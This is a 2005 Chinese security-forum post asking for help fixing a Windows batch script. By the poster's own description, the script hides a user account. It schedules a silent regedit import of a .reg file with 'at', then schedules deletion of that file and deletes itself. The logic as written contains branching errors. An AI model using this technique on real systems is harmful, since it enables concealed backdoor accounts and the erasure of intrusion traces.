议题提交:adly
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
最近我想利用批处理来做一个自动生成REG文件,但出了问题:
@for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
@if %mi%==59 goto a
@set /a hh1=%hh%
@set /a mi1=%mi%+1
@goto b
:a
@set /a hh1=%hh%+1
@set /a mi1=0
:b
@at %hh1%:%mi1% "regedit /s rjh.reg"
@if %mi%==59 goto c
@if %mi%==58 goto d
@set /a hh2=%hh%
@set /a mi2=%mi%+2
:d
@set /a hh2=%hh%+1
@set /a mi2=0
:c
@set /a hh2=%hh%+1
@set /a mi2=1
@at %hh2%:%mi2% del "rjh.reg /f /q"
@del rjh.bat /f /q
不知道错在哪儿,请各位帮一下忙好吗?
编写隐藏用户的批处理思路:
前期准备(比如:生成REG文件)
for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
if %mi%==59 goto a
set /a hh1=%hh%
set /a mi1=%mi%+1
goto b
:a
set /a hh1=%hh%+1
set /a mi1=0
set /a flag1="tru"
:b
at %hh1%:%mi1% "regedit /s 要导入的REG文件"
if %flag1%=="tru" goto c
if %mi%==58 goto d
set /a hh2=%hh%
set /a mi2=%mi%+2
:d
set /a hh2=%hh%+1
set /a mi2=0
:c
set /a hh2=%hh%+1
set /a mi2=1
at %hh2%:%mi2% "del 要导入的REG文件"
del 本批处理文件
Adly
QQ:369046978
2005年12月17日